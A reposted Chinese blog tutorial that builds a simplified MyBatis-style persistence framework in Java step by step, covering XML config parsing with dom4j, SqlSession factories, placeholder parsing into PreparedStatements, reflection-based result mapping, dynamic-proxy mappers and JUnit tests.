    Mapper 實體類用來存放使用端寫的mapper.xml 文件的內容,我們前面說了裏面有.id、sql、resultType 和paramType .所以我們創建的Mapper實體如下:

    public class Mapper {
        private String id;
        private Class<?> resultType;
        private Class<?> parmType;
        private String sql;
        //getter()和setter()方法
    }
    

    這裏我們為什麼不添加namespace 的值呢?
    聰明的你肯定發現了,因為mapper裏面這些屬性表明每個sql 都對應一個mapper,而namespace 是一個命名空間,算是sql 的上一層,所以在mapper中暫時使用不到,就沒有添加了。

    Configuration
    Configuration 實體用來保存SqlMapConfig 中的信息。所以需要保存數據庫連接,我們這裏直接用JDK提供的 DataSource。還有一個就是mapper 的信息。每個mapper 有自己的標識,所以這裏採用hashMap來存儲。如下:

    public class Configuration {
    
        private DataSource dataSource;
        HashMap <String,Mapper> mapperMap=new HashMap<>();
        //getter()和setter方法
        }
    

    XmlMapperBuilder

    做好了上面的準備工作,我們先來解析mapper 吧。我們創建一個XmlMapperBuilder 類來解析。通過dom4j 的工具類來解析XML 文件。我這裏用的dom4j 依賴為:

    		<dependency>
                <groupId>org.dom4j</groupId>
                <artifactId>dom4j</artifactId>
                <version>2.1.3</version>
            </dependency>
    

    思路:
    1、獲取文件流,轉成document。
    2、獲取根節點,也就是mapper。獲取根節點的namespace屬性值
    3、獲取select 節點,獲取其id,sql,resultType,paramType
    4、將select 節點的屬性封裝到Mapper 實體類中。
    5、同理獲取update/insert/delete 節點的屬性值封裝到Mapper 中
    6、通過namespace.id 生成key 值將mapper對象保存到Configuration實體中的HashMap 中。
    7、返回 Configuration實體
    代碼如下:

    
    public class XmlMapperBuilder {
        private Configuration configuration;
        public XmlMapperBuilder(Configuration configuration){
            this.configuration=configuration;
        }
    
        public Configuration loadXmlMapper(InputStream in) throws DocumentException, ClassNotFoundException {
            Document document=new SAXReader().read(in);
    
            Element rootElement=document.getRootElement();
            String namespace=rootElement.attributeValue("namespace");
    
            List<Node> list=rootElement.selectNodes("//select");
    
            for (int i = 0; i < list.size(); i++) {
                Mapper mapper=new Mapper();
                Element element= (Element) list.get(i);
                String id=element.attributeValue("id");
                mapper.setId(id);
                String paramType = element.attributeValue("paramType");
                if(paramType!=null && !paramType.isEmpty()){
                    mapper.setParmType(Class.forName(paramType));
                }
                String resultType = element.attributeValue("resultType");
                if (resultType != null && !resultType.isEmpty()) {
                    mapper.setResultType(Class.forName(resultType));
                }
                mapper.setSql(element.getTextTrim());
                String key=namespace+"."+id;
                configuration.getMapperMap().put(key,mapper);
            }
            return configuration;
        }
    
    }
    

    上面我只解析了select 標籤。大家可以解析對應insert/delete/uupdate 標籤,操作都是一樣的。

    XmlConfigBuilder

    我們再來解析一下SqlMapConfig.xml 配置信息思路是一樣的,
    1、獲取文件流,轉成document。
    2、獲取根節點,也就是configuration。
    3、獲取根節點中所有的property 節點,並獲取值,也就是獲取數據庫連接信息
    4、創建一個dataSource 連接池
    5、將連接池信息保存到Configuration實體中
    6、獲取根節點的所有mapper 節點
    7、調用XmlMapperBuilder 類解析對應mapper 並封裝到Configuration實體中
    8、完
    代碼如下:

    public class XmlConfigBuilder {
        private Configuration configuration;
        public XmlConfigBuilder(Configuration configuration){
            this.configuration=configuration;
        }
    
        public Configuration loadXmlConfig(InputStream in) throws DocumentException, PropertyVetoException, ClassNotFoundException {
    
            Document document=new SAXReader().read(in);
    
            Element rootElement=document.getRootElement();
    
            //獲取連接信息
            List<Node> propertyList=rootElement.selectNodes("//property");
            Properties properties=new Properties();
    
            for (int i = 0; i < propertyList.size(); i++) {
                Element element = (Element) propertyList.get(i);
                properties.setProperty(element.attributeValue("name"),element.attributeValue("value"));
            }
    		//是用連接池
            ComboPooledDataSource dataSource = new ComboPooledDataSource();
            dataSource.setDriverClass(properties.getProperty("driverClass"));
            dataSource.setJdbcUrl(properties.getProperty("jdbcUrl"));
            dataSource.setUser(properties.getProperty("userName"));
            dataSource.setPassword(properties.getProperty("password"));
            configuration.setDataSource(dataSource);
    
            //獲取mapper 信息
            List<Node> mapperList=rootElement.selectNodes("//mapper");
            for (int i = 0; i < mapperList.size(); i++) {
                Element element= (Element) mapperList.get(i);
                String mapperPath=element.attributeValue("resource");
                XmlMapperBuilder xmlMapperBuilder = new XmlMapperBuilder(configuration);
                configuration=xmlMapperBuilder.loadXmlMapper(Resources.getResources(mapperPath));
            }
            return configuration;
        }
    }
    

    創建SqlSessionFactory

    完成解析后我們創建SqlSessionFactory 用來創建Sqlseesion 的實體,這裏為了盡量還原mybatis 設計思路,也也採用的工廠設計模式。
    SqlSessionFactory 是一個接口,裏面就一個用來創建SqlSessionf的方法。
    如下:

    public interface SqlSessionFactory {
        public SqlSession openSqlSession();
    }
    

    單單這個接口是不夠的,我們還得寫一個接口的實現類,所以我們創建一個DefaultSqlSessionFactory。
    如下:

    public class DefaultSqlSessionFactory implements SqlSessionFactory {
    
        private Configuration configuration;
    
        public DefaultSqlSessionFactory(Configuration configuration) {
            this.configuration = configuration;
        }
        public SqlSession openSqlSession() {
            return new DefaultSqlSeeion(configuration);
        }
    }
    

    可以看到就是創建一個DefaultSqlSeeion並將包含配置信息的configuration 傳遞下去。DefaultSqlSeeion 就是SqlSession 的一個實現類。

    創建SqlSession

    在SqlSession 中我們就要來處理各種操作了,比如selectList,selectOne,insert.update,delete 等等。
    我們這裏SqlSession 就先寫一個selectList 方法。
    如下:

    public interface SqlSession {
    
        /**
         * 條件查找
         * @param statementid  唯一標識,namespace.selectid
         * @param parm  傳參,可以不傳也可以一個,也可以多個
         * @param <E>
         * @return
         */
        public <E> List<E> selectList(String statementid,Object...parm) throws Exception;
    
    

    然後我們創建DefaultSqlSeeion 來實現SqlSeesion 。

    public class DefaultSqlSeeion implements SqlSession {
        private Configuration configuration;
    	private Executer executer=new SimpleExecuter();
    	
        public DefaultSqlSeeion(Configuration configuration) {
            this.configuration = configuration;
        }
    
    	@Override
        public <E> List<E> selectList(String statementid, Object... parm) throws Exception {
            Mapper mapper=configuration.getMapperMap().get(statementid);
            List<E> query = executer.query(configuration, mapper, parm);
            return query;
        }
    
    }
    

    我們可以看到DefaultSqlSeeion 獲取到了configuration,並通過statementid 從configuration 中獲取mapper。 然後具體實現交給了Executer 類來實現。我們這裏先不管Executer 是怎麼實現的,就假裝已經實現了。那麼整個框架端就完成了。通過調用Sqlsession.selectList() 方法,來獲取結果。

    感覺我們都還沒有處理,就框架搭建好了?騙鬼呢,確實前面我們從獲取文件解析文件,然後創建工廠。都是做好準備工作。下面開始我們JDBC的實現。

    SqlSession 具體實現

    我們前面說SqlSeesion 的具體實現有下面5步
    1、獲取數據庫連接
    2、獲取sql,並對sql 進行解析
    3、通過內省,將參數注入到preparedStatement 中
    4、執行sql
    5、通過反射將結果集封裝成對象

    但是我們在DefaultSqlSeeion 中將實現交給了Executer來執行。所以我們就要在Executer中來實現這些操作。

    我們首先來創建一個Executer 接口,並寫一個DefaultSqlSeeion中調用的query 方法。

    public interface Executer {
    
        <E> List<E> query(Configuration configuration,Mapper mapper,Object...parm) throws Exception;
    
    }
    

    接着我們寫一個SimpleExecuter 類來實現Executer 。
    然後SimpleExecuter.query()方法中,我們一步一步的實現。

    獲取數據庫連接

    因為數據庫連接信息保存在configuration,所以直接獲取就好了。

    //獲取連接
            connection=configuration.getDataSource().getConnection();
    

    獲取sql,並對sql 進行解析

    我們這裏想一下,我們在Usermapper.xml寫的sql 是什麼樣子?

    select * from user where username=#{username}
    

    {username} 這樣的sql 我們改怎麼解析呢?

    分兩步
    1、將sql 找到#{***},並將這部分替換成 ?號

    2、對 #{***} 進行解析獲取到裏面的參數對應的paramType 中的值。

    具體實現用到下面幾個類。
    GenericTokenParser類,可以看到有三個參數,開始標記,就是我們的“#{” ,結束標記就是 “}”, 標記處理器就是處理標記裏面的內容也就是username。

    public class GenericTokenParser {
    
      private final String openToken; //開始標記
      private final String closeToken; //結束標記
      private final TokenHandler handler; //標記處理器
    
      public GenericTokenParser(String openToken, String closeToken, TokenHandler handler) {
        this.openToken = openToken;
        this.closeToken = closeToken;
        this.handler = handler;
      }
    
      /**
       * 解析${}和#{}
       * @param text
       * @return
       * 該方法主要實現了配置文件、腳本等片段中佔位符的解析、處理工作,並返回最終需要的數據。
       * 其中,解析工作由該方法完成,處理工作是由處理器handler的handleToken()方法來實現
       */
      public String parse(String text) {
     	 //具體實現
     	 }
      }
    

    主要的就是parse() 方法,用來獲取操作1 的sql。獲取結果例如:

    select * from user where username=?
    

    那上面用到TokenHandler 來處理參數。
    ParameterMappingTokenHandler實現TokenHandler的類

    
    public class ParameterMappingTokenHandler implements TokenHandler {
    	private List<ParameterMapping> parameterMappings = new ArrayList<ParameterMapping>();
    
    	// context是參數名稱 #{id} #{username}
    
    	@Override
    	public String handleToken(String content) {
    		parameterMappings.add(buildParameterMapping(content));
    		return "?";
    	}
    
    	private ParameterMapping buildParameterMapping(String content) {
    		ParameterMapping parameterMapping = new ParameterMapping(content);
    		return parameterMapping;
    	}
    
    	public List<ParameterMapping> getParameterMappings() {
    		return parameterMappings;
    	}
    
    	public void setParameterMappings(List<ParameterMapping> parameterMappings) {
    		this.parameterMappings = parameterMappings;
    	}
    
    }
    
    

    可以看到將參數名稱存放 ParameterMapping 的集合中了。
    ParameterMapping 類就是一個實體,用來保存參數名稱的。

    public class ParameterMapping {
    
        private String content;
    
        public ParameterMapping(String content) {
            this.content = content;
        }
    	//getter()和setter() 方法。
    }
    

    所以我們在我們通過GenericTokenParser類,就可以獲取到解析后的sql,以及參數名稱。我們將這些信息封裝到BoundSql實體類中。

    public class BoundSql {
    
        private String sqlText;
        private List<ParameterMapping> parameterMappingList=new ArrayList<>();
        public BoundSql(String sqlText, List<ParameterMapping> parameterMappingList) {
            this.sqlText = sqlText;
            this.parameterMappingList = parameterMappingList;
        }
        ////getter()和setter() 方法。
      }
    

    好了,那麼分兩步走,先獲取,后解析
    獲取
    獲取原始sql 很簡單,sql 信息就存在mapper 對象中,直接獲取就好了。

    String sql=mapper.getSql()
    

    解析
    1、創建一個ParameterMappingTokenHandler 處理器
    2、創建一個GenericTokenParser 類,並初始化開始標記,結束標記,處理器
    3、執行genericTokenParser.parse(sql);獲取解析后的sql‘’,以及在parameterMappingTokenHandler 中存放了參數名稱的集合。
    4、將解析后的sql 和參數封裝到BoundSql 實體類中。

    /**
         * 解析自定義佔位符
         * @param sql
         * @return
         */
        private BoundSql getBoundSql(String sql){
            ParameterMappingTokenHandler parameterMappingTokenHandler = new ParameterMappingTokenHandler();
            GenericTokenParser genericTokenParser = new GenericTokenParser("#{","}",parameterMappingTokenHandler);
            String parse = genericTokenParser.parse(sql);
            return new BoundSql(parse,parameterMappingTokenHandler.getParameterMappings());
    
        }
    

    將參數注入到preparedStatement 中

    上面的就完成了sql,的解析,但是我們知道上面得到的sql 還是包含 JDBC的 佔位符,所以我們需要將參數注入到preparedStatement 中。
    1、通過boundSql.getSqlText()獲取帶有佔位符的sql.
    2、接收參數名稱集合 parameterMappingList
    3、通過mapper.getParmType() 獲取到參數的類。
    4、通過getDeclaredField(content)方法獲取到參數類的Field。
    5、通過Field.get() 從參數類中獲取對應的值
    6、注入到preparedStatement 中

    		BoundSql boundSql=getBoundSql(mapper.getSql());
            String sql=boundSql.getSqlText();
            List<ParameterMapping> parameterMappingList = boundSql.getParameterMappingList();
    
            //獲取preparedStatement,並傳遞參數值
            PreparedStatement preparedStatement=connection.prepareStatement(sql);
            Class<?> parmType = mapper.getParmType();
    
            for (int i = 0; i < parameterMappingList.size(); i++) {
                ParameterMapping parameterMapping = parameterMappingList.get(i);
                String content = parameterMapping.getContent();
                Field declaredField = parmType.getDeclaredField(content);
                declaredField.setAccessible(true);
                Object o = declaredField.get(parm[0]);
                preparedStatement.setObject(i+1,o);
            }
            System.out.println(sql);
            return preparedStatement;
    

    執行sql

    其實還是調用JDBC 的executeQuery()方法或者execute()方法

    //執行sql
     ResultSet resultSet = preparedStatement.executeQuery();
    

    通過反射將結果集封裝成對象

    在獲取到resultSet 后,我們進行封裝處理,和參數處理是類似的。
    1、創建一個ArrayList
    2、獲取返回類型的類
    3、循環從resultSet中取數據
    4、獲取屬性名和屬性值
    5、創建屬性生成器
    6、為屬性生成寫方法,並將屬性值寫入到屬性中
    7、將這條記錄添加到list 中
    8、返回list

    /**
         * 封裝結果集
         * @param mapper
         * @param resultSet
         * @param <E>
         * @return
         * @throws Exception
         */
        private <E> List<E> resultHandle(Mapper mapper,ResultSet resultSet) throws Exception{
            ArrayList<E> list=new ArrayList<>();
            //封裝結果集
            Class<?> resultType = mapper.getResultType();
            while (resultSet.next()) {
                ResultSetMetaData metaData = resultSet.getMetaData();
                Object o = resultType.newInstance();
                int columnCount = metaData.getColumnCount();
                for (int i = 1; i <= columnCount; i++) {
                    //屬性名
                    String columnName = metaData.getColumnName(i);
                    //屬性值
                    Object value = resultSet.getObject(columnName);
                    //創建屬性描述器,為屬性生成讀寫方法
                    PropertyDescriptor propertyDescriptor = new PropertyDescriptor(columnName,resultType);
                    Method writeMethod = propertyDescriptor.getWriteMethod();
                    writeMethod.invoke(o,value);
                }
                list.add((E) o);
            }
            return list;
        }
    

    創建SqlSessionFactoryBuilder

    我們現在來創建一個SqlSessionFactoryBuilder 類,來為使用端提供一個人口。

    public class SqlSessionFactoryBuilder {
    
        private Configuration configuration;
    
        public SqlSessionFactoryBuilder(){
            configuration=new Configuration();
        }
    
        public SqlSessionFactory build(InputStream in) throws DocumentException, PropertyVetoException, ClassNotFoundException {
            XmlConfigBuilder xmlConfigBuilder = new XmlConfigBuilder(configuration);
            configuration=xmlConfigBuilder.loadXmlConfig(in);
    
            SqlSessionFactory sqlSessionFactory = new DefaultSqlSessionFactory(configuration);
            return sqlSessionFactory;
        }
    }
    

    可以看到就一個build 方法,通過SqlMapConfig的文件流將信息解析到configuration,創建並返回一個sqlSessionFactory 。

    到此,整個框架端已經搭建完成了,但是我們可以看到,只實現了select 的操作,update、inster、delete 的操作我們在我後面提供的源碼中會有實現,這裏只是將整體的設計思路和流程。

    測試

    終於到了測試的環節啦。我們前面寫了自定義的持久層,我們現在來測試一下能不能正常的使用吧。
    見證奇迹的時刻到啦

    我們先引入我們自定義的框架依賴。以及數據庫和單元測試

    <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>8.0.11</version>
            </dependency>
            <dependency>
                <groupId>cn.quellanan</groupId>
                <artifactId>myself-mybatis</artifactId>
                <version>1.0.0</version>
            </dependency>
    
            <dependency>
                <groupId>junit</groupId>
                <artifactId>junit</artifactId>
                <version>4.10</version>
            </dependency>
    

    然後我們寫一個測試類
    1、獲取SqlMapperConfig.xml的文件流
    2、獲取Sqlsession
    3、執行查找操作

    @org.junit.Test
        public void test() throws Exception{
            InputStream inputStream= Resources.getResources("SqlMapperConfig.xml");
            SqlSession sqlSession = new SqlSessionFactoryBuilder().build(inputStream).openSqlSession();
            List<User> list = sqlSession.selectList("cn.quellanan.dao.UserDao.selectAll");
    
            for (User parm : list) {
                System.out.println(parm.toString());
            }
            System.out.println();
    
            User user=new User();
            user.setUsername("張三");
            List<User> list1 = sqlSession.selectList("cn.quellanan.dao.UserDao.selectByName", user);
            for (User user1 : list1) {
                System.out.println(user1);
            }
    
        }
    

    可以看到已經可以了,看來我們自定義的持久層框架生效啦。

    優化

    但是不要高興的太早哈哈,我們看上面的測試方法,是不是感覺和平時用的不一樣,每次都都寫死statementId ,這樣不太友好,所以我們接下來來點騷操作,通用mapper 配置。
    我們在SqlSession中增加一個getMapper方法,接收的參數是一個類。我們通過這個類就可以知道statementId .

    /**
         * 使用代理模式來創建接口的代理對象
         * @param mapperClass
         * @param <T>
         * @return
         */
        public <T> T getMapper(Class<T> mapperClass);
    

    具體實現就是利用JDK 的動態代理機制。
    1、通過Proxy.newProxyInstance() 獲取一個代理對象
    2、返回代理對象
    那代理對象執行了哪些操作呢?
    創建代理對象的時候,會實現一個InvocationHandler接口,重寫invoke() 方法,讓所有走這個代理的方法都會執行這個invoke() 方法。那這個方法做了什麼操作?
    這個方法就是通過傳入的類對象,獲取到對象的類名和方法名。用來生成statementid 。所以我們在mapper.xml 配置文件中的namespace 就需要制定為類路徑,以及id 為方法名。
    實現方法:

    @Override
        public <T> T getMapper(Class<T> mapperClass) {
    
            Object proxyInstance = Proxy.newProxyInstance(DefaultSqlSeeion.class.getClassLoader(), new Class[]{mapperClass}, new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    
                    //獲取到方法名
                    String name = method.getName();
                    //類型
                    String className = method.getDeclaringClass().getName();
                    String statementid=className+"."+name;
    
                    return selectList(statementid,args);
                }
            });
    
    
            return (T) proxyInstance;
        }
    

    我們寫一個UserDao

    public interface UserDao {
        List<User> selectAll();
    
        List<User> selectByName(User user);
    }
    

    這個是不是我們熟悉的味道哈哈,就是mapper層的接口。
    然後我們在mapper.xml 中指定namespace 和id

    接下來我們在寫一個測試方法

    @org.junit.Test
        public void test2() throws Exception{
            InputStream inputStream= Resources.getResources("SqlMapperConfig.xml");
            SqlSession sqlSession = new SqlSessionFactoryBuilder().build(inputStream).openSqlSession();
    
            UserDao mapper = sqlSession.getMapper(UserDao.class);
            List<User> users = mapper.selectAll();
            for (User user1 : users) {
                System.out.println(user1);
            }
    
            User user=new User();
            user.setUsername("張三");
            List<User> users1 = mapper.selectByName(user);
            for (User user1 : users1) {
                System.out.println(user1);
            }
    
        }
    

    番外

    自定義的持久層框架,我們就寫完了。這個實際上就是mybatis 的雛形,我們通過自己手動寫一個持久層框架,然後在來看mybatis 的源碼,就會清晰很多。下面這些類名在mybatis 中都有體現。

    這裏拋磚引玉,祝君閱讀源碼愉快。
    覺得有用的兄弟們記得收藏啊。

    厚顏無恥的求波點贊!!!

    本文由博客一文多發平台 OpenWrite 發布!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※別再煩惱如何寫文案,掌握八大原則!

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※回頭車貨運收費標準

    台中搬家公司費用怎麼算?